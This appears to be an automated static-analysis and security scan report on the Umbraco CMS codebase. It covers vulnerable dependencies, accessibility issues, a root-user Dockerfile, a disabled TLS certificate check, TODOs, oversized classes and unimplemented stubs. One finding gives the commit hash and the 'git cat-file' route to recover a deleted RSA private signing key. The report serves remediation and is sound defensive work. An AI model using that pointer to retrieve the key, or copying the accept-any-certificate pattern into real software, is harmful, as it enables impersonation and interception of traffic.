High CVE: [GHSA redacted] src/Umbraco.Web.UI.Client/package-lock.json— extract-zip 2.0.1: [GHSA redacted] — no fixed version has been published yet. Track the advisory; extract-zip is not declared in this repo's manifests: it is pulled in transitively by @puppeteer/browsers 2.13.2, so the action is on the dependency that requires it — upgrade or replace that dependent. This one row stands for the 2 advisories this scan raises against extract-zip 2.0.1: [GHSA redacted], [GHSA redacted].
High CVE: [GHSA redacted] src/Umbraco.Web.UI.Client/package-lock.json— svgo 4.0.2: [GHSA redacted] — svgo is not declared by the manifests that govern this lockfile: it is pulled in transitively here (the ^4.0.2 this repo declares for it belongs to a separate install root and does not reach this one) by and postcss-svgo 7.1.3, so upgrade the dependency that requires it (or pin svgo to 4.1.0 with an `overrides` entry (`resolutions` if you use Yarn)). This one row stands for the 2 advisories this scan raises against svgo 4.0.2: [GHSA redacted], [GHSA redacted].
AC2 · Forms & labels· <input> without a programmatic label · ×3
<input> without a programmatic label src/Umbraco.Core/EmbeddedResources/Snippets/EditProfile.cshtml:74— This control has no associated label. Add a <label for> / wrapping <label> / aria-label / aria-labelledby so assistive tech can name it.
<input> without a programmatic label src/Umbraco.Core/EmbeddedResources/Snippets/Login.cshtml:34— This control has no associated label. Add a <label for> / wrapping <label> / aria-label / aria-labelledby so assistive tech can name it.
<input> without a programmatic label src/Umbraco.Core/EmbeddedResources/Snippets/RegisterMember.cshtml:79— This control has no associated label. Add a <label for> / wrapping <label> / aria-label / aria-labelledby so assistive tech can name it.
AC5 · ARIA correctness· Invalid value "true"" for aria-invalid · ×3
Invalid value "true"" for aria-invalid src/Umbraco.Cms.StaticAssets/umbraco/BasicAuthLogin/Login.cshtml:137— "true"" is not a valid value for aria-invalid — allowed: true, false, grammar, spelling.
Invalid value "true"" for aria-invalid src/Umbraco.Cms.StaticAssets/umbraco/BasicAuthLogin/Login.cshtml:144— "true"" is not a valid value for aria-invalid — allowed: true, false, grammar, spelling.
Invalid value "true"" for aria-invalid src/Umbraco.Cms.StaticAssets/umbraco/BasicAuthLogin/TwoFactor.cshtml:132— "true"" is not a valid value for aria-invalid — allowed: true, false, grammar, spelling.
Orphaned knowledge src/Umbraco.Web.Common/Extensions/ImageCropperTemplateCoreExtensions.cs— No living knowledge remains for this large file — its last meaningful change has decayed away; if it breaks, no one currently understands it. Schedule a read-through / add characterisation tests before it bites.
Orphaned knowledge src/Umbraco.Infrastructure/Mapping/UmbracoMapper.cs— No living knowledge remains for this large file — its last meaningful change has decayed away; if it breaks, no one currently understands it. Schedule a read-through / add characterisation tests before it bites.
Orphaned knowledge src/Umbraco.Infrastructure/Runtime/SqlMainDomLock.cs— No living knowledge remains for this large file — its last meaningful change has decayed away; if it breaks, no one currently understands it. Schedule a read-through / add characterisation tests before it bites.
Captive dependency: singleton EmailSender captures transient IEmailSenderClient src/Umbraco.Infrastructure/Mail/EmailSender.cs:22— `EmailSender` is registered as a SINGLETON but its constructor takes `IEmailSenderClient emailSenderClient`, which is registered as Transient. The singleton captures one instance of the transient dependency forever — defeating its lifetime (a per-request DbContext shared across all requests is a classic data-corruption/threading bug). Make the singleton resolve `IEmailSenderClient` per-use (inject `IServiceScopeFactory` or a factory func), or align the lifetimes.
EmptyCatchBlock src/Umbraco.Core/SystemLock.cs:172— empty catch block — the error is discarded with nothing recorded, so a failure here leaves no trace anywhere. Narrow the catch to the exception you actually expect, record it through whatever this codebase already uses to report problems, or — where swallowing really is correct, as it often is on a teardown/dispose path where throwing would mask the original failure — write down WHY in a comment on the catch. The comment has to give the reason: a note that only restates the swallow ("ignored", "do nothing") is read as no explanation at all and leaves this row in place. Any of the three makes the decision reviewable; all three clear this row.
FileScopedPragmaDisable tests/Umbraco.Tests.UnitTests/Umbraco.Infrastructure/Migrations/SingleBlockConversionVerifierTests.cs:11— #pragma warning disable CS0618 // Type or member is obsolete — the disable has no matching restore anywhere in this file, so it does not end with the construct that needed it: it runs to the end of the file and silences the rule for everything written below, including code added years later that nobody weighed against it. Close it with the matching restore directive immediately after the construct it covers — that alone turns a standing exemption into a scoped one — or fix the cause and drop the directive entirely.
AnalyzerSeverityNone .globalconfig:52— SA1309 — this rule is switched off for every file the section matches, in every project under this directory, and the only record that it was ever switched off is this line: nothing at the sites it would have reported says so, so a reader of that code has no reason to look here, and code added years from now inherits the decision silently. Fix what the rule reports and delete the entry, or — where some sites really are legitimate — leave the rule on and suppress it at those sites with their reasons, so it keeps protecting the rest of the tree. If the rule is genuinely unwanted here, say why — on this line after the entry, or in the comment run directly above it: a comment that only repeats the rule's own title is read as no explanation at all and leaves this row in place.
High secret: WD-SECRET-0003 src/LinqToUmbraco/src/umbraco.Linq/Solution Items/umbraco-key.snk @ 2df0dbb:1 (committed 2009-06-19T09:02:25+00:00)— `src/LinqToUmbraco/src/umbraco.Linq/Solution Items/umbraco-key.snk` was committed as a private key stored as a raw binary key blob — its content is a CryptoAPI `PRIVATEKEYBLOB` (`RSA2` magic), so it carries the private exponent and both primes, not just the public modulus — and it has since been DELETED from the working tree. Deleting it changed nothing about the exposure: the blob is still reachable from this repository's refs, which means it is in every clone, fork, mirror and backup ever taken, and anyone can read it back out with a single `git cat-file` against commit `2df0dbb7266a9306949ed5000108b49518605445`. This row exists because the deletion is the thing most likely to be mistaken for the fix. Note that the pattern-matching secret scanners are silent on it by construction — they match secret-shaped TEXT (an `AKIA…` token, a PEM `-----BEGIN … PRIVATE KEY-----` armour), and a key held as bytes presents no text to match, in history exactly as in the tree — which is why this row comes from the engine's own rule rather than from the scanner. What to do: treat the key as public, because it is. Generate a replacement pair, publish only the public blob (`RSA1`), and re-key whatever trusted the old one — for a strong-name or assembly-signing key that means anything relying on the old identity, including `InternalsVisibleTo` grants and any consumer that pins the public key token. Rewriting history to purge the blob is not a substitute for re-keying and rarely worth it: every existing clone keeps its copy. Keep the replacement out of the tree altogether — hold it in the platform's secret store or signing service and supply it to the build at run time, and add its path to the repository's ignore rules so the next one cannot be committed. If this key signed nothing that is published, say so where a reader will see it: the exposure may be nil, but nothing in the repository currently distinguishes it from a live signing key that somebody merely tidied away.
D30 · Dependency Vulnerabilities· High vulnerability · ×1
High vulnerability: [GHSA redacted] src/Umbraco.Web.UI.Client/package-lock.json— @tiptap/core 3.29.2: [GHSA redacted] — @tiptap/core is not declared by the manifests that govern this lockfile: it is pulled in transitively here (the 3.29.2 this repo declares for it belongs to a separate install root and does not reach this one) by and @tiptap/starter-kit 3.29.2, so upgrade the dependency that requires it (or pin @tiptap/core to 3.30.5 with an `overrides` entry (`resolutions` if you use Yarn)). This is 1 of 2 advisories with a published fix this scan raises against @tiptap/core 3.29.2, and their fixed versions do not agree — anything below 3.30.5 still leaves at least one of them open. Take this package to 3.30.5 or later: that is the floor for the package, not this row's target alone. This one row stands for the 2 advisories this scan raises against @tiptap/core 3.29.2: [GHSA redacted], [GHSA redacted].
High IaC: DS-0002 templates/UmbracoDockerCompose/Database/Dockerfile:5— Image user should not be 'root'. Last USER command in Dockerfile should not be 'root'. Add 'USER <non root user name>' line to the Dockerfile. A container that starts as root runs your process with root's capabilities inside the namespace, so a compromise of the process starts from there. The step: create an unprivileged account in the image (`RUN useradd -r -M app` — or whatever this base image's account tooling is, `adduser` and `useradd` are not both present everywhere`), give it ownership of the paths the process writes at runtime (`COPY --chown=` on those layers, or a `RUN chown -R`), and end the final stage with `USER app` so it is the default at start. Build stages that only compile can stay root; it is the stage that RUNS that needs the account. If the process genuinely requires root — it manages the container runtime, ptraces another process or opens raw devices — say so here rather than making a change that breaks it.
Unlisted import '@umbraco-ui/uui' src/Umbraco.Web.UI.Client/.storybook/preview.js:1— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import 'chai' src/Umbraco.Web.UI.Client/src/packages/core/validation/utils/query-mapper-json-paths.test.ts:3— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-blockquote' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:19— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-bold' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:20— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-code' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:22— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-code-block' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:23— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-document' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:9— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-hard-break' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:10— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-heading' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:24— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-horizontal-rule' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:25— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-italic' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:27— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-link' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:28— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-list' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:21— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-paragraph' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:11— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-strike' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:29— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-text' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:12— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
Unlisted import '@tiptap/extension-underline' src/Umbraco.Web.UI.Client/src/packages/tiptap/externals.ts:35— Imported but not declared in any reachable package.json — installs work only by hoisting accident.
TLS certificate validation disabled src/Umbraco.Web.Common/DependencyInjection/UmbracoBuilderExtensions.cs:251— `ServerCertificateCustomValidationCallback` is assigned `DangerousAcceptAnyServerCertificateValidator`, so every TLS peer certificate is accepted — including one an attacker presents. Chain, expiry, revocation and hostname are all skipped, so an attacker on the network path can present any certificate and read or rewrite the traffic — the connection is encrypted to the attacker, not to the intended host. Delete the override and let the platform validate. If a specific self-signed or internally-issued certificate genuinely has to be trusted, pin THAT one — compare the presented certificate's public key or thumbprint against the expected value and return `false` for everything else — and scope it to the single handler that talks to that host rather than to the whole process. If the override exists only to get past a development certificate, gate it on a build configuration or an explicit opt-in setting so it cannot ship.
TodoComment src/Umbraco.Cms.Api.Common/OpenApi/UmbracoOperationIdTransformer.cs:107— // TODO (V19): drop the namespace check and apply this to the Delivery API too, as a — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Delivery/DependencyInjection/DeliveryApiApplicationBuilderExtensions.cs:9— // TODO (V19): Rename this class and its file to UmbracoEndpointBuilderContextExtensions, matching what it actually extends. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/Help/GetHelpController.cs:51— // TODO (V19): remove along with this controller. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/Member/ByKeyMemberController.cs:24— // TODO (V19): Remove the unnecessary parameters provided to the constructor. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/Member/Item/ItemMemberItemController.cs:22— // TODO (V19): Remove the unnecessary parameters provided to the constructor. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/Member/References/ReferencedByMemberController.cs:26— // TODO (V19): Remove the unnecessary parameters provided to the constructor. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/Member/Filter/FilterMemberFilterController.cs:38— // TODO (V19): Remove unused parameters which are only here to avoid ambiguous constructor errors. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/MemberGroup/Item/ItemMemberGroupItemController.cs:22— // TODO (V19): When the obsolete constructor is removed, also remove the unused dependency on IEntityService. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/Security/BackOfficeController.cs:119— // TODO: The result should include the user and whether the credentials were valid to avoid these additional checks — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/Security/BackOfficeController.cs:556— // TODO: ensure we handle sign-in notifications for internal logins. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/Upgrade/SettingsUpgradeController.cs:49— // TODO: Async - We need to figure out what we want to do with async endpoints that doesn't do anything async — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/User/Current/GetDocumentPermissionsCurrentUserController.cs:26— // TODO (V19): Remove the IUserService parameter from the constructor as it is not used in the current implementation. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/User/Current/GetElementPermissionsCurrentUserController.cs:38— // TODO (V19): Remove the IUserService parameter when the obsolete constructor is removed. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Controllers/User/Current/SetAvatarCurrentUserController.cs:31— // TODO (V18): Remove the IAuthorizationService parameter from the constructor and the class, as it is not used in the current implementation. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/DependencyInjection/MediaBuilderExtensions.cs:24— // TODO (V19): Revert to the simple AddTransient<IResizeImageUrlFactory, ResizeImageUrlFactory>() registration once the — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/DependencyInjection/SearchManagementBuilderExtensions.cs:24— // TODO (V19): Revert to simple AddTransient<IIndexingRebuilderService, IndexingRebuilderService>() — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/DependencyInjection/TemporaryFileBuilderExtensions.cs:18— // TODO (V19): Revert to the simple AddTransient<ITemporaryFileConfigurationPresentationFactory, TemporaryFileConfigurationPresentationFactory>() — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Extensions/HtmlHelperBackOfficeExtensions.cs:54— // TODO: Remove this when CacheBusterToken is gone. Scheduled for removal in Umbraco 20. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Factories/HealthCheckGroupPresentationFactory.cs:10— // TODO (V16): Make internal sealed. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Factories/IDocumentPresentationFactory.cs:75— // todo remove default implementation when obsolete method is removed — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Factories/IDocumentPresentationFactory.cs:127— // TODO (V19): Remove the default implementation when CreateItemResponseModel is removed. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Factories/IDocumentPresentationFactory.cs:138— // TODO (V19): Remove the default implementation when CreateVariantsItemResponseModels is removed. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Cms.Api.Management/Factories/IElementPresentationFactory.cs:25— // TODO (V20): Remove the default implementation. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Core/Services/IElementContainerPermissionService.cs:84— // TODO (V20): Remove the default implementation. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TodoComment src/Umbraco.Core/Services/IElementPermissionService.cs:121— // TODO (V20): Remove the default implementation. — source code is not a task system: move the work to your tracker and leave a reference instead (e.g. `// REF: #123`), so the task is planned where tasks live and the ticket links back to the code.
TooManyMethods: UserService src/Umbraco.Core/Services/UserService.cs— TooManyMethods — 1199 significant lines (blank, comment-only and punctuation-only lines excluded), 91 methods. The bar is 30 methods; this is 61 over it, 3.03× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: ContentService src/Umbraco.Core/Services/ContentService.cs— TooManyMethods — 975 significant lines (blank, comment-only and punctuation-only lines excluded), 87 methods. The bar is 30 methods; this is 57 over it, 2.90× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: PublishableContentServiceBase src/Umbraco.Core/Services/PublishableContentServiceBase.cs— TooManyMethods — 1048 significant lines (blank, comment-only and punctuation-only lines excluded), 82 methods. The bar is 30 methods; this is 52 over it, 2.73× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: MemberService src/Umbraco.Core/Services/MemberService.cs— TooManyMethods — 581 significant lines (blank, comment-only and punctuation-only lines excluded), 78 methods. The bar is 30 methods; this is 48 over it, 2.60× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: DatabaseCacheRepository src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs— TooManyMethods — 1218 significant lines (blank, comment-only and punctuation-only lines excluded), 74 methods. The bar is 30 methods; this is 44 over it, 2.47× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: UmbContentTypeStructureManager src/Umbraco.Web.UI.Client/src/packages/content/content-type/structure/content-type-structure-manager.class.ts:51— TooManyMethods — 71 methods. The bar is 30 methods; this is 41 over it, 2.37× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: ContentTypeServiceBase src/Umbraco.Core/Services/ContentTypeServiceBase{TRepository,TItem}.cs— TooManyMethods — 674 significant lines (blank, comment-only and punctuation-only lines excluded), 69 methods. The bar is 30 methods; this is 39 over it, 2.30× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: RelationService src/Umbraco.Core/Services/RelationService.cs— TooManyMethods — 447 significant lines (blank, comment-only and punctuation-only lines excluded), 67 methods. The bar is 30 methods; this is 37 over it, 2.23× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: SqlSyntaxProviderBase src/Umbraco.Infrastructure/Persistence/SqlSyntax/SqlSyntaxProviderBase.cs— TooManyMethods — 382 significant lines (blank, comment-only and punctuation-only lines excluded), 67 methods. The bar is 30 methods; this is 37 over it, 2.23× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: EntityRepository src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs— TooManyMethods — 750 significant lines (blank, comment-only and punctuation-only lines excluded), 63 methods. The bar is 30 methods; this is 33 over it, 2.10× the bar. The type holds no instance state, so there is no shared data to group its members by. To reduce it, split it by area instead: give each cohesive family of members its own smaller type, so no one type has to be read whole to change one of them.
TooManyMethods: MediaService src/Umbraco.Core/Services/MediaService.cs— TooManyMethods — 627 significant lines (blank, comment-only and punctuation-only lines excluded), 62 methods. The bar is 30 methods; this is 32 over it, 2.07× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: PublishableContentRepositoryBase src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs— TooManyMethods — 909 significant lines (blank, comment-only and punctuation-only lines excluded), 61 methods. The bar is 30 methods; this is 31 over it, 2.03× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: EntityService src/Umbraco.Core/Services/EntityService.cs— TooManyMethods — 510 significant lines (blank, comment-only and punctuation-only lines excluded), 61 methods. The bar is 30 methods; this is 31 over it, 2.03× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: UserRepository src/Umbraco.Infrastructure/Persistence/Repositories/Implement/UserRepository.cs— TooManyMethods — 709 significant lines (blank, comment-only and punctuation-only lines excluded), 58 methods. The bar is 30 methods; this is 28 over it, 1.93× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: UmbBlockManagerContext src/Umbraco.Web.UI.Client/src/packages/block/block/context/block-manager.context.ts:36— TooManyMethods — 57 methods. The bar is 30 methods; this is 27 over it, 1.90× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: PackageDataInstallation src/Umbraco.Infrastructure/Packaging/PackageDataInstallation.cs— TooManyMethods — 1269 significant lines (blank, comment-only and punctuation-only lines excluded), 56 methods. The bar is 30 methods; this is 26 over it, 1.87× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: UmbBlockEntryContext src/Umbraco.Web.UI.Client/src/packages/block/block/context/block-entry.context.ts:41— TooManyMethods — 54 methods. The bar is 30 methods; this is 24 over it, 1.80× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: DocumentUrlService src/Umbraco.Core/Services/DocumentUrlService.cs— TooManyMethods — 517 significant lines (blank, comment-only and punctuation-only lines excluded), 52 methods. The bar is 30 methods; this is 22 over it, 1.73× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: UmbSorterController src/Umbraco.Web.UI.Client/src/packages/core/sorter/sorter.controller.ts:258— TooManyMethods — 51 methods. The bar is 30 methods; this is 21 over it, 1.70× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: UmbContentDetailWorkspaceContextBase src/Umbraco.Web.UI.Client/src/packages/content/content/workspace/content-detail-workspace-base.ts:112— TooManyMethods — 50 methods. The bar is 30 methods; this is 20 over it, 1.67× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: ContentNavigationServiceBase src/Umbraco.Core/Services/Navigation/ContentNavigationServiceBase.cs— TooManyMethods — 382 significant lines (blank, comment-only and punctuation-only lines excluded), 49 methods. The bar is 30 methods; this is 19 over it, 1.63× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: ContentRepositoryBase src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentRepositoryBase.cs— TooManyMethods — 561 significant lines (blank, comment-only and punctuation-only lines excluded), 45 methods. The bar is 30 methods; this is 15 over it, 1.50× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: UmbracoHelper src/Umbraco.Web.Common/UmbracoHelper.cs— TooManyMethods — 82 significant lines (blank, comment-only and punctuation-only lines excluded), 44 methods. The bar is 30 methods; this is 14 over it, 1.47× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: ContentTypeRepositoryBase src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepositoryBase.cs— TooManyMethods — 919 significant lines (blank, comment-only and punctuation-only lines excluded), 42 methods. The bar is 30 methods; this is 12 over it, 1.40× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
TooManyMethods: UmbWorkspaceSplitViewVariantSelectorElement src/Umbraco.Web.UI.Client/src/packages/core/workspace/components/workspace-split-view/workspace-split-view-variant-selector.element.ts:20— TooManyMethods — 38 methods. The bar is 30 methods; this is 8 over it, 1.27× the bar. To reduce it, group the members that share the same data into a smaller type of their own and delegate to it, so no single type carries every responsibility.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Dictionary/ICultureDictionaryFactory.cs:26— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Models/ContentSchedule.cs:85— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Models/ContentScheduleCollection.cs:319— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IContentRepository.cs:29— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IDataTypeRepository.cs:33— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:57— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:74— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:218— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IEntityRepository.cs:226— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Persistence/Repositories/IWebhookRepository.cs:39— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:276— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:288— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:302— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/ContentBlueprintEditingService.cs:311— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/ElementEditingService.cs:562— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IAuditService.cs:22— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IAuditService.cs:58— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IAuditService.cs:92— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IAuditService.cs:118— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IAuditService.cs:177— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
Unfinished stub — throws NotImplementedException src/Umbraco.Core/Services/IAuditService.cs:259— A shipped member still throws NotImplementedException — generated scaffolding that was never completed. Implement it or remove the dead surface.
